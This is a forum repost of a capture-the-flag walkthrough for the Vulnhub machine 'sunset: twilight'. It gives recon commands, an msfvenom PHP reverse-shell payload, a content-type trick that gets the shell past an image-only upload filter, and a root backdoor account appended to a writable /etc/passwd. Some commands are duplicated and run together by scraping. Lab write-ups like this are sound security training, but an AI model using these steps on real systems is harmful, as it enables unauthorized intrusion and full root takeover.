• We just launched and are currently in beta. Join us as we build and grow the community.

Sunset: Twilight Vulnhub Walkthrough

tarabasca

Patch Tester
T Rep
0
0
0
Rep
0
T Vouches
0
0
0
Vouches
0
Posts
65
Likes
170
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
Black-and-Teal-Geometric-Technology-Business-Plan-Presentation-1.png


Hey folks, today we going to solve another Vulnhub Walkthrough. The vulnerable machine is available on vulnhub which you can download from here. More information about the machine is given below.

VM Details

Name: sunset: twilight
Author: whitecr0wz

Lets do it 🙂 !!

We start the reconnaissance and find the target host machine IP address by using the “netdiscover” command.

netdiscover1netdiscover

1-24.png


After getting the IP address we start the port scanning by nmap tool.

nmap -p- 192.168.0.1111nmap-p-192.168.0.111

2-27.png


Most of the time the flags and clues are hidden in the directory so we start fuzzing with the dirb tool. We found some useful location by perform fuzzing.

dirb http://192.168.0.111/1dirb http://192.168.0.111/

3-22.png


This location allow us to upload “jpeg” extension file but we will try to upload our malicious php file into the server.

4-22.png


First we create a php backdoor by using the msfvenom.

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.110 lport=1234 > /home/shubham/Desktop/shell.php1msfvenom-pphp/meterpreter/reverse_tcp lhost=192.168.0.110lport=1234>/home/shubham/Desktop/shell.php

5-22.png


We start the burpsuite, capture the request and send it in intercept mode to investigate the response. We received a error while uploading malicious php file to server.

6-21-1024x510.png


We send the request again by manipulating the “content-type” option and it uploads successfully.

7-17-1024x503.png


Got it ! copy the request, paste on proxy section and forward the request to the server.

8-16.png


We don’t know where the file will be uploaded, then we come back to our terminal and check the fuzzing list again. We find another link that contains the uploaded files.

9-13.png


We got our uploaded file and for getting the shell of the web server we click this php file as well as start the nc listener in our terminal.

10-12.png


We access the host machine and see that the password file is allowed to read, write and execute.

nc -lvvp 1234
ls -l /etc/passwd12nc-lvvp1234ls-l/etc/passwd

11-14.png


We cannot be execute the adduser command on the host machine ,therefore we add the user with root privileges on the passwd file but we need to give the password of the user so for that purpose. we use the openssl tool to generate an encrypted password with salt. After do all this we add user into the /etc/passwd file with following command.
Note 🙂 you can use the same given commands.

openssl passwd -1 -salt user3 123
cat >> /etc/passwd
shivam:$1$user3$OwXnUE4zcnPzF1wDFZryO/:0:0:root:/root:/bin/bash123openssl passwd-1-salt user3123cat>>/etc/passwdshivam:$1$user3$OwXnUE4zcnPzF1wDFZryO/:0:0:root:/root:/bin/bash

12-11.png


We authentication successfully as shivam user.

13-8.png


We reach the root directory where we get our root flag.

14-7.png
About the AuthorShubham Goyal Certified Ethical Hacker, information security analyst, penetration tester and researcher. Can be Contact on Linkedin.
 

435,057

313,705

313,714

Top